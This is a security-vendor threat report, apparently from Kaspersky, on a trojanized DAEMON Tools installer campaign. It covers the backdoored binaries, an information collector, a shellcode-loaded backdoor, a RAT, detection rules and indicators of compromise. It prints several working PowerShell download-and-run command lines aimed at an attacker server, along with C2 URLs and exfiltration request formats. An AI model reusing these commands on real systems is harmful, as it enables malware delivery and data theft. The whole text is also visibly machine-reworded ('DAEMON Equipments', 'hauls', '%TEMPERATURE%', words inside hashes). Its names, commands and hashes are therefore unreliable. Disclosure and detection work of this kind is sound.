UPD 5/ 8/ 26: added a bundle of regulations that help detect comparable malicious task for business utilizing our Kaspersky SIEM system.
UPD 5/ 6/ 26: Complying with a disclosure, the supplier acknowledged the concern and published a new software version intended to address it. The upgraded release 12 6.0. 2445 no more includes the malicious behavior explained in this article.
UPD 5/ 6/ 26: included detection of the destructive campaign in network web traffic making use of Kaspersky Anti Targeted Strike (KATA).
UPD 5/ 5/ 26: included detection rules and instances by KEDR Specialist, and verified discovery of the destructive activity using our Kaspersky Managed Discovery and Reaction solution.
What happened?
In early May 2026, we identified installers for the DAEMON Equipments software program, made use of for mounting disk images, as compromised with a harmful payload. These installers are distributed from the genuine internet site of DAEMON Tools and are signed with digital certificates belonging to DAEMON Tools designers. Our analysis revealed that the software application installers had actually been trojanized beginning on April 8, 2026 Particularly, we determined versions of DAEMON Devices varying from 12 5.0. 2421 to 12 5.0. 2434 as endangered. Artefacts recommending that the hazard star behind this strike is Chinese-speaking were recognized in the harmful implants we observed. We contacted AVB Disc Soft, the developer business for DAEMON Equipments, to ensure that further actions might be required to remediate the assault effects.
Beginning in early April, we have actually observed several thousand infection efforts involving DAEMON Tools in our telemetry, with people and companies in greater than 100 countries influenced. However, out of all the makers infected, we observed further-stage hauls being deployed to only a lots of them. The devices that received more hauls belonged to retail, scientific, government, and manufacturing organizations– and this shows that the supply chain assault is targeted in nature.
Kaspersky options secure customers from destructive hauls deployed through the DAEMON Devices supply chain assault.
Trojanized binaries
Our analysis disclosed that for DAEMON Equipments versions from 12 5.0. 2421 to 12 5.0. 2434, assailants had taken care of to compromise the following binaries inside the software program setups:
- DTHelper.exe
- DiscSoftBusServiceLite.exe
- DTShellHlp.exe
These data lie in the directory where DAEMON Equipments is set up, for instance C: \ Program Files \ DAEMON Devices Lite Notably, these files are electronically signed by the designer of DAEMON Devices, AVB Disc Soft.
Whenever one of these binaries is introduced, which happens at startup, a backdoor gets turned on. This backdoor is dental implanted in the start-up code responsible for booting up the CRT setting. The backdoor runs in a specialized string, utilized to send out obtain demands to the adhering to link:
|
https : // env-check. daemontools [.] cc/ 2032716822411 s= |
The web server utilized for interactions is malicious, and its address is designed to typosquat the legitimate daemon-tools [.] cc domain used for downloading DAEMON Tools. Notably, according to WHOIS, the domain of the malicious server was registered on March 27, regarding a week prior to the beginning of the supply chain attack.
Snippet of the decompiled code, responsible for forming the obtain request URL string in a loophole
In action to the requests sent, the web server may return a covering command to be implemented through the cmd.exe process. We observed this covering command to have the complying with template:
|
cmd exe / c powershell – NoProfile – Command “$ wc= New-Object System.Net.WebClient;$ wc.DownloadFile(‘ http:// 38 180 107 [.] 76/ |
As can be observed from the template, these covering commands are used for downloading and introducing an executable haul. We have seen multiple types of these payloads, which we describe below.
Info enthusiast
The initial payload we observed to be released by the assailants was an info enthusiast. It was released via the complying with command:
|
cmd exe / c powershell – NoProfile – Command “$ wc= New-Object System.Net.WebClient;$ wc.DownloadFile(‘ http:// 38 180 107 76/ env_check_script’,’ C: \ Windows \ Temp \ envchk.exe’)” & & C : \ Windows \ Temp \ envchk exe http : // 38 180 107 76/ 09505 aca 4 f 538 bd & del% TEMPERATURE% \ envchk.exe |
The envchk.exe file( SHA 1: 2 d 4 eb 55 b 01 f 59 c 62 c 6 de 9 aacba 9 b 47267 d 398 fe 4 is a.NET executable used for collecting extensive system info. Notably, its code includes strings in Chinese. While this might imply that a Chinese-speaking star lags this strike, we do not presently associate the DAEMON Equipments concession to any kind of specific star.
Screenshot of the details collector code with strings in Chinese inside
The data collected by the info collector consists of:
- MAC address (first non-zero one);
- Hostname;
- DNS domain;
- Checklist of running procedures, divided by semicolons;
- List of installed software program, divided by semicolons;
- System location.
This information is sent to the C 2 server defined in the command line disagreement of the information enthusiast. As can be observed from the command above, the address of the web server is
|
http : // 38 180 107 [.] 76/ 09505 aca 4 f 538 bd |
The data is communicated inside the adhering to POST demand body:
|
a = & b = & c = & d = & e = & f = |
Minimalistic backdoor
While we observed attempts to release the information collection agency on a a great deal of infected devices, we also noted that the assailants attempted to supply one more payload to an extremely small number of makers (regarding a dozen). Based upon this reality, we wrap up with a high level of confidence that the info enthusiast is used for profiling infected devices, with the outcomes utilized to deploy added hauls in a targeted fashion.
Among the hauls we observed is a minimalistic backdoor. We observed it being deployed with the complying with command:
|
cmd exe / c powershell – NoProfile – Command “$ wc= New-Object System.Net.WebClient;$ wc.DownloadFile(‘ http:// 38 180 107 76/ b 3593 air conditioning 2 edb 34 f 4 d 4 d’,’ C: \ Windows \ Temp \ cdg.exe ‘)” & & powershell – NoProfile – Command “$ wc= New-Object System.Net.WebClient;$ wc.DownloadFile(‘ http:// 38 180 107 76/ 368 b 1365 bd 9176 b 359,’% TEMPERATURE% \ cdg.tmp’)” & & % TEMP % \ cdg exe schedsvc dll % TEMPERATURE % \ cdg tmp first_match & del % TEMP % \ cdg exe [************************************ &&] & del % TEMP % \ cdg tmp |
.
As can be seen, this command is made use of to download and install two documents, cdg.exe and cdg.tmp The cdg.exe file, which is additional introduced, is a shellcode loader, which opens the cdg.tmp file, decrypts it with RC 4 (with the vital specified in the final debate, which is first_match [**********************
] in case above), and runs it as shellcode.
cdg.exe shellcode loader usage
This shellcode represents the backdoor body. The backdoor itself sends out article request heart beats to the complying with URL:
|
http : // 38 180 107 [.] 76/ 79437 f 5 edda 13 f 9 c 066/ version/check |
Its functions consist of the capacity to download and install data, run covering commands and carry out shellcode hauls in memory.
Bit of the decompiled minimalistic backdoor code, made use of for executing commands
Oddly, sometimes, we observed the minimalistic backdoor being deployed with various other commands, for instance:
|
cmd exe / c powershell - NoProfile - Command "$ wc= New-Object System.Net.WebClient;$ wc.DownloadFile(' http:// 38 180 107 [.] 76/ 407 fbb 423143 f 99 fe0',' C: \ ProgramData \ Microsoft \ mcrypto.chiper')" & & powershell - NoProfile - Command "$ wc= New-Object System.Net.WebClient;$ wc.DownloadFile(' http:// 38 180 107 [.] 76/ 07 fbb 423143 f 99 fe 07,'$ appdata \ Microsoft \ mcrypto.dat')" & & start rundll 32 exe $ appdata \ Microsoft \ mcrypto chiper , mcrypto_clean |
|
"cmd.exe/ c powershell -NoProfile -Command" $ wc = New - Object System Net WebClient ; $ wc DownloadFile ( 'http:// 38 180 107 [.] 76/ 407 fbb 423143 f 99 fe0' , 'C: \ Windows \ Temp \ crypto.dll' &&& & powershell -NoProfile- Command" $ wc = New - Object System Web WebClient ; $ wc DownloadFile ( 'http:// 38 180 107 [.] 76/ 07 fbb 423143 f 99 fe 07 , $ appdata \ Microsoft \ mcrypto.dat' &&& & begin rundll 32 exe %TEMP% \ rypto.dll, mcrypto_clean" |
Especially, these command sequences consist of typos. In the very first command series, words "cipher" is led to as "chiper", while in the second one, the letter "c" is omitted from the data name "crypto.dll". As can be observed from the command, the backdoor will not be introduced because of the typo-- which likely suggests the backdoor was released manually.
QUIC RAT
Having examined just how opponents attempted to leverage the minimalistic backdoor, we found out that it was utilized to release an extra complex dental implant, which we referred to as QUIC RAT. While we observed the minimalistic backdoor to be released to a loads makers, we recognized QUIC RAT to be made use of against only one company, an educational institution located in Russia. This RAT is coded in C++, obfuscated with control circulation flattening and statically linked with the WolfSSL library. It additionally includes the body of the legit msquic.dll collection in its information area.
This backdoor sustains a variety of C 2 communication methods, including HTTP, UDP, TCP, WSS, QUIC, DNS and HTTP/ 3 While its evaluation is still ongoing, we have identified that QUIC RAT is able to infuse hauls right into notepad.exe and conhost.exe processes.
Victimology
Considering that April 8, when the first trojanized version of DAEMON Tools was deployed, we have observed countless attempted haul releases utilizing the endangered binaries. Especially, this is a fairly lot showing the extensive nature of this attack
We observed these implementations on equipments coming from both people and organizations across more than 100 nations and areas, with most of victims situated in Russia, Brazil, Turkey, Spain, Germany, France, Italy, and China.
The analysis reveals that 10 % of the impacted systems come from services and companies. Attackers tried to infect the majority of the impacted devices just with the info enthusiast haul. However, the other backdoor payload, which is much more intricate, has actually been observed just on a loads devices of federal government, clinical, production, and retail organizations situated in Russia, Belarus, and Thailand. This manner of releasing the backdoor to a tiny part of infected equipments plainly indicates that the attacker had the intention to perform the infection in a targeted way. Nonetheless, their intent-- whether it is cyberespionage or huge video game searching-- is presently uncertain.
Suggestions and final thought
Based upon our long-lasting experience in examining supply chain assaults, we can wrap up that the assaulters coordinated the DAEMON Tools compromise in a very advanced manner. For instance, the time it required to discover this attack, which turned out to be about one month, approaches the 3 CX supply chain assault which we researched together with the cybersecurity area in 2023 Offered the high complexity of the attack, it is vital for companies to meticulously check out equipments that have actually DAEMON Tools mounted on them for unusual cybersecurity-related activities that occurred on or after April 8
It has been simply 4 months considering that 2026 started-- and over this short duration, we have actually observed an increasing number of reported supply chain attacks. We were investigating eScan in January, Note pad++ in February, CPU-Z in April, and now DAEMON Devices in May. Given this rise in supply chain strike monitorings, companies should be really mindful when choosing software they determine to mount. At the very same time, this suggests that commonly used and trusted applications represent a beneficial vector of concession for attackers because of their broad prospective influence. This should be kept in mind when intending the cybersecurity method of a company-- in order to make sure a solid implementation of a no trust fund technique.
Kaspersky has significantly added to the analysis and exploration of large supply chain occurrences in 2026, sharing technological searchings for with the cybersecurity area with Threat Feedback reports on Securelist. Kaspersky solutions give timely discovery and defense from such attacks.
Discovery by Kaspersky options
Kaspersky Endpoint Detection and Feedback Specialist successfully identifies the harmful activity concerned at every phase. This section presents possible discovery circumstances:
Assaulters frequently use CMD and PowerShell to supply malware to a target host for further execution. In this certain situation, carrying out the gotten command to download and install destructive files from the C 2 causes the Downloading_via_powershell_cmdlets and Downloading_via_powershell_cmdlets_amsi guidelines, which spot efforts to download and install a file by utilizing of PowerShell Cmdlets.
An efficient method to find such task is to check questionable code shots into genuine system procedures, particularly when the resource is executables launched from openly easily accessible directories such as Temperature, AppData, or Public. Opponents usually utilize these locations to phase destructive elements and then launch shot into relied on procedures utilizing typical methods like WriteProcessMemory or CreateRemoteThread, which permits them to hide execution, bypass security controls, and develop perseverance within the system. KEDR Professional spots this activity making use of the rule.
The Kaspersky Managed Detection and Reaction solution also discovers this harmful activity.
One more way to identify this campaign is to monitor network traffic for particular abnormalities. Harmful task can be detected making use of Kaspersky Anti Targeted Strike (KATA).
The screenshot below programs the KATA user interface with a sharp discovering the C 2 link from the minimalistic backdoor via HTTP. In this instance, the Backdoor.Minimalistic.HTTP.C&& C regulation was caused, which finds health check demands.
To protect firms utilizing our Kaspersky SIEM system we have actually prepared a connection policies package made to identify such harmful task. The policies are available for download from the item repository.
Destructive payload distribution through the.NET WebClient class and DownloadFile technique can be detected making use of the complying with guidelines:
- R 110 _ 03 _ PowerShell code downloaded and executed
- R 110 _ 05 _ Use questionable alternatives in PowerShell commands (cmd)
Following code shot into a system procedure, detection activates on execution with a strange moms and dad process-- e.g., svchost.exe with a moms and dad process other than svchost.exe or services.exe:
- R 293 _ 01 _ Strange procedure tree for Windows
Detection of this activity needs the following event logs:
- EventID: 4688 (Security)
- EventID: 4104 (PowerShell)
Indicators of concession
Contaminated DAEMON Devices Lite installers
9 ccd 769624 de 98 eeeb 12714 ff 1707 ec 4 f 5 bf 196 d (12 5.0. 2421
50 d 47 adb 6 dd 45215 c 7 cb 4 c 68 bae 28 b 129 ca 09645 (12 5.0. 2422
0c 1 d 3 da 9 c 7 a 651 bachelor's degree 40 b 40 e 12 d 48 ebd 32 b 3 f 31820 (12 5.0. 2423
28 b 72576 d 67 ae 21 d 9587 d 782942628 ea 46 dcc 870 (12 5.0. 2424
46 b 90 bf 370 e 60 d 61075 d 3472828 fdc0b 85 ab 0492 (12 5.0. 2430
6325179 f 442 e 5 b 1 a 716580 cd 70 dea 644 air conditioning 9 ecd 18 (12 5.0. 2431
bd 8 fbb 5 e 6842 df 8683163 adbd 6 a 36136164 eac 58 (12 5.0. 2433
15 ed 5 c 3384 e 12 fe 4314 ad 6 edbd 1 dcccf 5 air conditioner 1 ee 29 (12 5.0. 2434
Customized DiscSoftBusServiceLite.exe
524 d 2 d 92909 eef 80 c 406 e 87 a0fc 37 d 7 bb 4 dadc 14
427 f 1728682 ebc 7 ffe 3300 fef 67 d0e 3 cb 6 b 62948
8 e 7 eb0f 5 air conditioner 60 dd 3 b 4 a 9474 d 2544348 c 3 bda 48045
00 e 2 df 8 f 42 d 14072 e 4385 e 500 d 4669 ec 783 aa 517
aea 55 e 42 c 4436236278 e 5692 d 3 dcbcbe 5 fe 6 ce0b
0456 e 2 f 5 f 56 ec 8 ed 16078941248 e 7 cbba 9 f 1 c 8 eb
9 a 09 ad 7 b 7 e 9 ff 7 a 465 aa 1150541 e 231189911 afb
8 d 435918 d 304 fc 38 d 54 b 104 a 13 f 2 e 33 e 8 e 598 c 82
64462 f 751788 f 529 c 1 eb 09023 b 26 a 47792 ecdc 54
C: \ Windows \ Temperature \ envchk.exe
2 d 4 eb 55 b 01 f 59 c 62 c 6 de 9 aacba 9 b 47267 d 398 fe 4
C: \ Windows \ Temp \ cdg.exe
C: \ Windows \ Temp \ imp.tmp
C: \ Windows \ Temp \ piyu.exe
9 dbfc 23 ebf 36 b 3 c0b 56 d 2 f 93116 abb 32656 c 42 e 4
C: \ Windows \ Temperature \ core.tmp
C: \ Windows \ Temp \ cdg.tmp
295 ce 86226 b 933 e 7262 c 2 ce 4 b 36 bdd 6 c 389 aaaef
C: \ ProgramData \ Microsoft \ mcrypto.chiper
C: \ Windows \ Temp \ crypto.dll
98 de 8147394 b 74 b 27158 e 02 ce 9 e 7 b0e 25 eb 6 e 98 a
C: \ ProgramData \ Microsoft \ mcrypto.dat
$appdata \ Microsoft \ mcrypto.dat
2 ecb 292 d 27 c 36 c 1 d 4 e 47 fb 5 cafa 42 af 7 ffbdda 99
Minimalistic backdoor (decrypted from mcrypto.dat)
a 3 e 90653 bd0a 81 ebe 2 ae 387 a 67 a 59 bb 8 d 07 ce 7 b 5
Minimalistic backdoor (decrypted from core.tmp/ cdg.tmp)
3 ee 71 d 75020 b 2634 b 2 c 23866211 a0c 91 b 942 c 8 d 4
C 2
env-check. daemontools [.] cc
38 180 107 [.] 76